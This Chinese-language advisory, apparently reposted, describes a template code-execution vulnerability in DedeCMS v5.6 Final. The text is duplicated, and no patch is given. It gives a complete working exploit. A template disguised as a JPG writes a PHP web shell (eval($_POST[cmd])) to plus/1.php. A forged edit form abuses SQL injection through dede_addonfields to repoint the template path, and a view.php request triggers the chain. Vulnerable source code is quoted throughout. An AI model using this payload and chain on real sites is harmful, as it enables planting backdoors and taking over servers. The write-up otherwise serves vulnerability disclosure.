DEDECMS網(wǎng)站管理系統(tǒng)模板執(zhí)行漏洞(影響版本v5.6)
發(fā)布日期:2022-01-30 12:41 | 文章來源:gibhub
影響版本:
DEDECMS v5.6 Final
程序介紹:
DedeCms 基于PHP+MySQL的技術開發(fā),支持Windows、Linux、Unix等多種服務器平臺,從2004年開始發(fā)布第一個版本開始,至今已經(jīng)發(fā)布了五個大版本。DedeCms以簡單、健壯、靈活、開源幾大特點占領了國內CMS的大部份市場,目前已經(jīng)有超過二十萬個站點正在使用DedeCms或居于DedeCms核心,是目前國內應用最廣泛的php類CMS系統(tǒng)。
漏洞分析:
Dedecms V5.6 Final版本中的各個文件存在一系列問題,經(jīng)過精心構造的含有惡意代表的模板內容可以通過用戶后臺的上傳附件的功能上傳上去,然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對模板路徑及名稱做任何限制,則可以成功執(zhí)行惡意代碼。
1、member/article_edit.php文件(注入):
//漏洞在member文件夾下普遍存在,$dede_addonfields是由用戶提交的,可以被偽造,偽造成功即可帶入sql語句,于是我們可以給附加表的內容進行update賦值。
2、include/inc_archives_view.php:
//這是模板處理類,如果附加表的模板路徑存在,直接從附加表取值;GetTempletFile獲取模板文件的方法就是取的此處的模板路徑,從來帶進去解析。
漏洞利用:
1.上傳一個模板文件:
注冊一個用戶,進入用戶管理后臺,發(fā)表一篇文章,上傳一個圖片,然后在附件管理里,把圖片替換為我們精心構造的模板,比如圖片名稱是:
uploads/userup/2/12OMX04-15A.jpg
模板內容是(如果限制圖片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改剛剛發(fā)表的文章,查看源文件,構造一個表單:
提交,提示修改成功,則我們已經(jīng)成功修改模板路徑。
3.訪問修改的文章:
假設剛剛修改的文章的aid為2,則我們只需要訪問:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目錄下生成小馬:1.php
解決方案:
廠商補丁:
DEDECMS
------------
目前廠商還沒有提供補丁或者升級程序,我們建議使用此軟件的用戶隨時關注廠商的主頁以獲取最新版本:
http://www.dedecms.com/
信息來源: oldjun's Blog
DEDECMS v5.6 Final
程序介紹:
DedeCms 基于PHP+MySQL的技術開發(fā),支持Windows、Linux、Unix等多種服務器平臺,從2004年開始發(fā)布第一個版本開始,至今已經(jīng)發(fā)布了五個大版本。DedeCms以簡單、健壯、靈活、開源幾大特點占領了國內CMS的大部份市場,目前已經(jīng)有超過二十萬個站點正在使用DedeCms或居于DedeCms核心,是目前國內應用最廣泛的php類CMS系統(tǒng)。
漏洞分析:
Dedecms V5.6 Final版本中的各個文件存在一系列問題,經(jīng)過精心構造的含有惡意代表的模板內容可以通過用戶后臺的上傳附件的功能上傳上去,然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對模板路徑及名稱做任何限制,則可以成功執(zhí)行惡意代碼。
1、member/article_edit.php文件(注入):
//漏洞在member文件夾下普遍存在,$dede_addonfields是由用戶提交的,可以被偽造,偽造成功即可帶入sql語句,于是我們可以給附加表的內容進行update賦值。
PHP Code復制內容到剪貼板
- …
- //分析處理附加表數(shù)據(jù)
- $inadd_f='';
- if(!emptyempty($dede_addonfields))//自己構造$dede_addonfields
- {
- $addonfields=explode(';',$dede_addonfields);
- if(is_array($addonfields))
- {
- print_r($addonfields);
- foreach($addonfieldsas$v)
- {
- if($v=='')
- {
- continue;
- }
- $vs=explode(',',$v);
- if(!isset(${$vs[0]}))
- {
- ${$vs[0]}='';
- }
- ${$vs[0]}=GetFieldValueA(${$vs[0]},$vs[1],$aid);
- $inadd_f.=','.$vs[0]."='".${$vs[0]}."'";
- echo$inadd_f;
- }
- }
- }
- …
- if($addtable!='')
- {
- $upQuery="Update`$addtable`settypeid='$typeid',body='$body'{$inadd_f},userip='$userip'whereaid='$aid'";//執(zhí)行構造的sql
- if(!$dsql->ExecuteNoneQuery($upQuery))
- {
- ShowMsg("更新附加表`$addtable`時出錯,請聯(lián)系管理員!","javascript:;");
- exit();
- }
- }
- …
//這是模板處理類,如果附加表的模板路徑存在,直接從附加表取值;GetTempletFile獲取模板文件的方法就是取的此處的模板路徑,從來帶進去解析。
PHP Code復制內容到剪貼板
- …
- //issystem==-1表示單表模型,單表模型不支持redirecturl這類參數(shù),因此限定內容普通模型才進行下面查詢
- if($this->ChannelUnit->ChannelInfos['addtable']!=''&&$this->ChannelUnit->ChannelInfos['issystem']!=-1)
- {
- if(is_array($this->addTableRow))
- {
- $this->Fields['redirecturl']=$this->addTableRow['redirecturl'];
- $this->Fields['templet']=$this->addTableRow['templet'];//取值
- $this->Fields['userip']=$this->addTableRow['userip'];
- }
- $this->Fields['templet']=(emptyempty($this->Fields['templet'])?'':trim($this->Fields['templet']));
- $this->Fields['redirecturl']=(emptyempty($this->Fields['redirecturl'])?'':trim($this->Fields['redirecturl']));
- $this->Fields['userip']=(emptyempty($this->Fields['userip'])?'':trim($this->Fields['userip']));
- }
- else
- {
- $this->Fields['templet']=$this->Fields['redirecturl']='';
- }
- …
- //獲得模板文件位置
- functionGetTempletFile()
- {
- global$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
- $cid=$this->ChannelUnit->ChannelInfos['nid'];
- if(!emptyempty($this->Fields['templet']))
- {
- $filetag=MfTemplet($this->Fields['templet']);
- if(!ereg('/',$filetag))$filetag=$GLOBALS['cfg_df_style'].'/'.$filetag;
- }
- else
- {
- $filetag=MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
- }
- $tid=$this->Fields['typeid'];
- $filetag=str_replace('{cid}',$cid,$filetag);
- $filetag=str_replace('{tid}',$tid,$filetag);
- $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
- if($cid=='spec')
- {
- if(!emptyempty($this->Fields['templet']))
- {
- $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
- }
- else
- {
- $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
- }
- }
- if(!file_exists($tmpfile))
- {
- $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec'?'article_spec.htm':'article_default.htm');
- }
- return$tmpfile;
- }
1.上傳一個模板文件:
注冊一個用戶,進入用戶管理后臺,發(fā)表一篇文章,上傳一個圖片,然后在附件管理里,把圖片替換為我們精心構造的模板,比如圖片名稱是:
uploads/userup/2/12OMX04-15A.jpg
模板內容是(如果限制圖片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改剛剛發(fā)表的文章,查看源文件,構造一個表單:
XML/HTML Code復制內容到剪貼板
- <formclass="mTB10mL10mR10"name="addcontent"id="addcontent"action="http://127.0.0.1/dede/member/article_edit.php"method="post"enctype="multipart/form-data"onsubmit="returncheckSubmit();">
- <inputtype="hidden"name="dopost"value="save"/>
- <inputtype="hidden"name="aid"value="2"/>
- <inputtype="hidden"name="idhash"value="f5f682c8d76f74e810f268fbc97ddf86"/>
- <inputtype="hidden"name="channelid"value="1"/>
- <inputtype="hidden"name="oldlitpic"value=""/>
- <inputtype="hidden"name="sortrank"value="1275972263"/>
- <divid="mainCp">
- <h3class="meTitle"><strong>修改文章</strong></h3>
- <divclass="postForm">
- <label>標題:</label>
- <inputname="title"type="text"id="title"value="11233ewsad"maxlength="100"class="intxt"/>
- <label>標簽TAG:</label>
- <inputname="tags"type="text"id="tags"value="hahah,test"maxlength="100"class="intxt"/>(用逗號分開)
- <label>作者:</label>
- <inputtype="text"name="writer"id="writer"value="test"maxlength="100"class="intxt"style="width:219px"/>
- <label>隸屬欄目:</label>
- <selectname='typeid'size='1'>
- <optionvalue='1'class='option3'selected=''>測試欄目</option>
- </select><spanstyle="color:#F00">*</span>(不能選擇帶顏色的分類)
- <label>我的分類:</label>
- <selectname='mtypesid'size='1'>
- <optionvalue='0'selected>請選擇分類...</option>
- <optionvalue='1'class='option3'selected>hahahha</option>
- </select>
- <label>信息摘要:</label>
- <textareaname="description"id="description">1111111</textarea>
- (內容的簡要說明)
- <label>縮略圖:</label>
- <inputname="litpic"type="file"id="litpic"onchange="SeePicNew('divpicview',this);"maxlength="100"class="intxt"/>
- <inputtype='text'name='templet'
- value="../uploads/userup/2/12OMX04-15A.jpg">
- <inputtype='text'name='dede_addonfields'
- value="templet,htmltext;">(這里構造)
- </div>
- <!--表單操作區(qū)域-->
- <h3class="meTitle">詳細內容</h3>
- <divclass="contentShowpostForm">
- <inputtype="hidden"id="body"name="body"value="<div><ahref="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"target="_blank"><imgborder="0"alt=""src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"width="1010"height="456"/></a></div><p><?phpinfo()?>1111111</p>"style="display:none"/><inputtype="hidden"id="body___Config"value="FullPage=false"style="display:none"/><iframeid="body___Frame"src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member"width="100%"height="350"frameborder="0"scrolling="no"></iframe>
- <label>驗證碼:</label>
- <inputname="vdcode"type="text"id="vdcode"maxlength="100"class="intxt"style='width:50px;text-transform:uppercase;'/>
- <imgsrc="http://127.0.0.1/dede/include/vdimgck.php"alt="看不清?點擊更換"align="absmiddle"style="cursor:pointer"onclick="this.src=this.src+'?'"/>
- <buttonclass="button2"type="submit">提交</button>
- <buttonclass="button2ml10"type="reset"onclick="location.reload();">重置</button>
- </div>
- </div>
- </form>
3.訪問修改的文章:
假設剛剛修改的文章的aid為2,則我們只需要訪問:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目錄下生成小馬:1.php
解決方案:
廠商補丁:
DEDECMS
------------
目前廠商還沒有提供補丁或者升級程序,我們建議使用此軟件的用戶隨時關注廠商的主頁以獲取最新版本:
http://www.dedecms.com/
信息來源: oldjun's Blog
版權聲明:本站文章來源標注為YINGSOO的內容版權均為本站所有,歡迎引用、轉載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學習參考,不代表本站立場,如有內容涉嫌侵權,請聯(lián)系alex-e#qq.com處理。
相關文章